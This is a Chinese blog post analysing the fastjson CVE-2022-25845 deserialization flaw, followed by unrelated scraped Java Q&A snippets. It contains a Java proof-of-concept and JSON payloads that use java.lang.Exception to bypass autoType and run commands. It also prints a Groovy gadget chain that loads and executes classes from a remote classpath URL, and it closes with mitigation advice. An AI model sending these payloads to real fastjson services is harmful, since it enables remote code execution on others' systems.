CVE-2022-25845 反序列化漏洞分析

2023-11-09

测试环境:
jdk1.8 + fastjson 1.2.80 + win10

实验POC:

public class Poc extends Exception {
    public void setName(String str) {
        try {
            Runtime.getRuntime().exec(str);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

public class PocDemo {
    public static void main(String[] args) {
        String strClassName = "com.example.fastjson.Poc";
        // ParserConfig.getGlobalInstance().setSafeMode(true);  //通过代码方式打开safeMode, safeMode禁止任何autoType类型反序列化

        /*===================================
         * 原 POC, 默认情况可以绕过autoType检查
         *==================================*/
        String json0 = "{\"@type\":\"java.lang.Exception\",\"@type\":\"com.example.fastjson.Poc\",\"name\":\"calc\"}";  //外层是java.lang.Exception
        JSON.parse(json0);


        

        // 探索可以直接反序列化某个类的方式
        // 方式1 添加白名单
        // ParserConfig.getGlobalInstance().addAccept(strClassName);  //添加到白名单后可以直接进行反序列化该类,不需内嵌到 java.lang.Exception

        // 方式2 手动加载类并添加到映射
        Class<?> class_poc = TypeUtils.loadClass(strClassName);  //手动加载类,但是没有添加到mapping中,无法利用
        TypeUtils.addMapping(strClassName, class_poc);  //加载该类后,需要添加到类的映射中才能通过检查

        String json = "{\"@type\":\"com.example.fastjson.Poc\",\"name\":\"calc\"}";  //直接放到第一层需要添加白名单或者手动加载类并加入映射中
        JSON.parse(json);
    }
}

实验结果:


该漏洞POC演示了利用java.lang.Exception 绕过autoTypeSupport实现反序列化命令执行。
调试发现java.lang.Exception 类不在黑白名单中,也不在内部的黑白名单中,并且该类默认已被加载,在映射中可以找到;

 

利用条件:
1. 当反序列化数据中外层的类为java.lang.Exception时,能绕过checkAutoType检查,会对其余的数据继续执行反序列化。
2. 执行内层反序列化的checkAutoType检查时,指定的期望类型是Throwable.class,因为指定了期望类,在检查的后期会信任并加载内层数据中的类并执行反序列化。因此利用成功的关键是内层的json类必须继承了接口Throwable,而且存在命令执行的接口。

必须满足这两个条件。
这也就是为什么POC中内层的类是自定义的,因为目前在公共的类中还没有找到满足上述要求的类。

从利用条件来看,漏洞的利用难度较大,暂时没有发现好用的标的类。

漏洞分析:

第一次检查:

类型为java.lang.Exception

 expectClass为空,这是因为外层的接口并没有指定期望类

 该类既不属于内部白名单,也不满足autoType开启条件,也没有指定期望的类型,跳过。

该类已存在缓存中,默认安全,直接返回该类了。

 

通过checkAutoType检查后,执行反序列化:

反序列化器的类型是ThrowableDeserializer, 目标类是java.lang.Exception.

第一关挺好过的,哈哈..

接下来执行ThrowableDeserializer类的反序列化

看得出来,不同类的反序列化动作是在分开的类中实现的。

接下来又执行一遍checkAutoType,只不过这次的第二个参数不为空了,变成了Throwable.class

这个参数在检查逻辑里面挺关键的,大概的意思是执行者期望反序列化成某类,而不是任意类,安全性相对高一些。

前面的检查是一样的,但这里开始有点不同:

因为expectClassFlag的值为真,因此进入了下面的代码块。

这里动作是黑白名单检查,从代码中可以看出,白名单的优先级更高,如果在白名单里则直接返回了。

自己定义的类当然不在黑白名单中,于是进入下一步:

跟上一回一样,尝试了好几种方式(这些被认为是可信的)找该类,没有找到,进入下一步。

autoTypeSupport没有开启,开始第二次比对黑白名单,但这一次黑名单的优先级更高。如果在黑名单中,则直接抛出异常。若在白名单中,则加载该类并返回。

继续下一步:

这里的逻辑没有看懂... 理解的师傅请指导一下小菜~

因为expectClassFlag为真,因此可以加载类。

将该类添加到缓存中并返回。因为是用户期望的类,默认就信任了。

从上面加载类的逻辑来看,还有两种情况:1)autoTypeSupport开启,2)jsonType为真则会加载类,这两种情况下是信任的。

checkAutoType的核心逻辑:
1. 是否开启safeMode,如果开启,则直接拒绝autoType,拥有最高优先级;
2. 是否指定了反序列化期望类型 => expectClassFlag;
3. 计算类名hash,并比对内部白名单 => internalWhite;
4. 内部黑名单是否为空,不为空则比对内部黑名单,在内部黑名单中则抛出异常;
5. 如果不在内部白名单中,但是autoTypeSupport开启或者指定了期望的类型:
   a. 是否在白名单中,在则加载类并返回;
   b. 如果当前hash在黑名单中但整个类名的hash在白名单中,则继续;
   c. 如果在黑名单中且不在白名单中,则抛出异常。
6. 黑白名单如果不能鉴定该类则开始在当前环境中查找该类:
   a. 从映射中查找;
   b. 从支持的反序列化器中查找;
   c. 从类型映射中查找;
   d. 如果是内部白名单,则加载该类。
7. 若找到了返回该类;
8. 没有找到,说明该类不在黑白名单中,也不在执行环境中,属于未知的类型。若autoTypeSupport没有开启,则再校验一次黑白名单,如果在黑名单内则抛出异常,如果在白名单内则加载该类并返回。

9. 若还是没有鉴定出来,则计算一个jsonType;

10. autoTypeSupport开关、jsonType、expectClassFlag三种有一个为真,则加载类。

从上面的检查逻辑来看,各种黑白名单、条件、变动参数杂糅在一起,因此容易出现bug.

漏洞利用:

这里探测版本和依赖包就略过了,只贴代码执行

要找到一条起始于java.lang.Exception的gadgets, 参考浅蓝KCon的思路,利用Groovy执行代码

第一步:利用java.lang.Exception将org.codehaus.groovy.control.CompilationFailedException添加到缓存,在构造CompilationFailedException对象的时候,指定了成员unit的值,unit的类型是org.codehaus.groovy.control.ProcessingUnit,该类也会被加入缓存中。

{
    "@type":"java.lang.Exception",
    "@type":"org.codehaus.groovy.control.CompilationFailedException",
    "unit":{}
}


第二步:利用org.codehaus.groovy.control.ProcessingUnit的子类org.codehaus.groovy.tools.javac.JavaStubCompilationUnit的成员config(类型是org.codehaus.groovy.control.CompilerConfiguration),构造其成员classPathList,指定类的加载路径。从而会从路径的相对路径/META-INF/services/下载文件org.codehaus.groovy.transform.ASTTransformation,从文件里读取内容(测试中使用的是Blue),并当作类名加载执行。

{
    "@type":"org.codehaus.groovy.control.ProcessingUnit",
    "@type":"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit",
    "config":{
     "@type":"org.codehaus.groovy.control.CompilerConfiguration",
     "classpathList":"http://127.0.0.1:8090/"
    }
}

注意一下Blue class的定义(这里我卡了很久,看PPT要仔细):

总结一下利用的思路:

利用java.lang.Exception将继承于Throwable的期望内添加到缓存,然后一级一级往下查找、缓存,找到可以用来执行代码路径的类,构造Gadgets。整个利用过程非常巧妙。

漏洞修复:

1. 升级到1.2.80以上版本;

2. 不需要进行反序列化则直接开启safeMode;

3. 将相关的利用的类加入黑名单。

参考:

KCon/Hacking JSON【KCon2022】.pdf at master · knownsec/KCon · GitHub
Fastjson 代码执行 CVE-2022-25845 - FreeBuf网络安全行业门户

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

CVE-2022-25845 反序列化漏洞分析 的相关文章

  • 我是否需要安装 SQLite 才能使 SQLiteJDBC 正常工作?

    我想我只是没有 明白 如果我的计算机上尚未安装 SQLite 并且我想编写一个使用嵌入式数据库的 Java 应用程序 并且我将 SQLiteJDBC JAR 下载 导入到我的项目中 那么这就是我所需要的吗 或者 我是否需要先安装 SQLit
  • 使用 Java 的 Apache Http 摘要身份验证

    我目前正在开发一个 Java 项目 但无法使 http 摘要身份验证正常工作 我尝试使用 Apache 网站 但没有帮助 我有一个需要 HTTP 摘要身份验证的网站 DefaultHttpClient httpclient new Defa
  • TreeMap 删除所有大于某个键的键

    在项目中 我需要删除键值大于某个键的所有对象 键类型为Date 如果重要的话 据我所知TreeMapJava中实现的是红黑树 它是一种二叉搜索树 所以我应该得到O n 删除子树时 但除了制作尾部视图并一一删除之外 我找不到任何方法可以做到这
  • Java Logger 未记录到 Netbeans 中的输出

    我正在 Netbeans 中使用 Maven 启动一个 Java 项目 我编写了一些代码来使用 Logger 类进行日志记录 但是 日志记录似乎不起作用 在程序开始时 我运行 Logger getLogger ProjectMainClas
  • 如何在 JavaFX 中连接可观察列表?

    我所说的串联是指获得一个新列表 该列表侦听所有串联部分的更改 方法的目的是什么FXCollections concat ObservableList
  • 两个整数乘积的模

    我必须找到c c a b mod m a b c m 是 32 位整数 但 a b 可以超过 32 位 我正在尝试找出一种计算 c 的方法 而不使用 long 或任何 gt 32 位的数据类型 有任何想法吗 如果m是质数 事情可以简化吗 注
  • 垃圾收集器如何在幕后工作来收集死对象?

    我正在阅读有关垃圾收集的内容 众所周知 垃圾收集会收集死亡对象并回收内存 我的问题是 Collector 如何知道任何对象已死亡 它使用什么数据结构来跟踪活动对象 我正在研究这个问题 我发现GC实际上会跟踪活动对象 并标记它们 每个未标记的
  • 如何调试“com.android.okhttp”

    在android kitkat中 URLConnection的实现已经被OkHttp取代 如何调试呢 OkHttp 位于此目录中 external okhttp android main java com squareup okhttp 当
  • 在 Java 中如何找出哪个对象打开了文件?

    我需要找出答案哪个对象在我的 Java 应用程序中打开了一个文件 这是为了调试 因此欢迎使用工具或实用程序 如果发现哪个对象太具体了 这class也会很有帮助 这可能很棘手 您可以从使用分析器开始 例如VisualVM http visua
  • Java Applet 中的 Apache FOP - 未找到数据的 ImagePreloader

    我正在研究成熟商业产品中的一个问题 简而言之 我们使用 Apache POI 库的一部分来读取 Word DOC 或 DOCX 文件 并将其转换为 XSL FO 以便我们可以进行标记替换 然后 我们使用嵌入到 Java 程序中的 FOP 将
  • 使用 Elastic Beanstalk 进行 Logback

    我在使用 Elastic Beanstalk 记录应用程序日志时遇到问题 我正在 AWS Elastic Beanstalk 上的 Tomcat 8 5 with Corretto 11 running on 64bit Amazon Li
  • JDBC 时间戳和日期 GMT 问题

    我有一个 JDBC 日期列 如果我使用 getDate 则会得到 date 仅部分2009 年 10 月 2 日但如果我使用 getTimestamp 我会得到完整的 date 2009 年 10 月 2 日 13 56 78 890 这正
  • 如何区分从 Saxon XPathSelector 返回的属性节点和元素节点

    给定 XML
  • Java Swing - 如何禁用 JPanel?

    我有一些JComponents on a JPanel我想在按下 开始 按钮时禁用所有这些组件 目前 我通过以下方式显式禁用所有组件 component1 setEnabled false 但是有什么办法可以一次性禁用所有组件吗 我尝试禁用
  • Spring @Cacheable 和 @Async 注解

    我需要缓存一些异步计算的结果 具体来说 为了克服这个问题 我尝试使用 Spring 4 3 缓存和异步计算功能 作为示例 我们采用以下代码 Service class AsyncService Async Cacheable users C
  • 列表过滤器内的 Java 8 lambda 列表

    示例 JSON id 1 products id 333 status Active id 222 status Inactive id 111 status Active id 2 products id 6 status Active
  • java XMLSerializer 避免复杂的空元素

    我有这个代码 DocumentBuilderFactory factory DocumentBuilderFactory newInstance DocumentBuilder builder factory newDocumentBuil
  • Java 正则表达式中的逻辑 AND

    是否可以在 Java Regex 中实现逻辑 AND 如果答案是肯定的 那么如何实现呢 正则表达式中的逻辑 AND 由一系列堆叠的先行断言组成 例如 foo bar glarch 将匹配包含所有三个 foo bar 和 glarch 的任何
  • Log4j2 ThreadContext 映射不适用于parallelStream()

    我有以下示例代码 public class Test static System setProperty isThreadContextMapInheritable true private static final Logger LOGG
  • Java RMI - 客户端超时

    我正在使用 Java RMI 构建分布式系统 它必须支持服务器丢失 如果我的客户端使用 RMI 连接到服务器 如果该服务器出现故障 例如电缆问题 我的客户端应该会收到异常 以便它可以连接到其他服务器 但是当服务器出现故障时 我的客户端什么也

随机推荐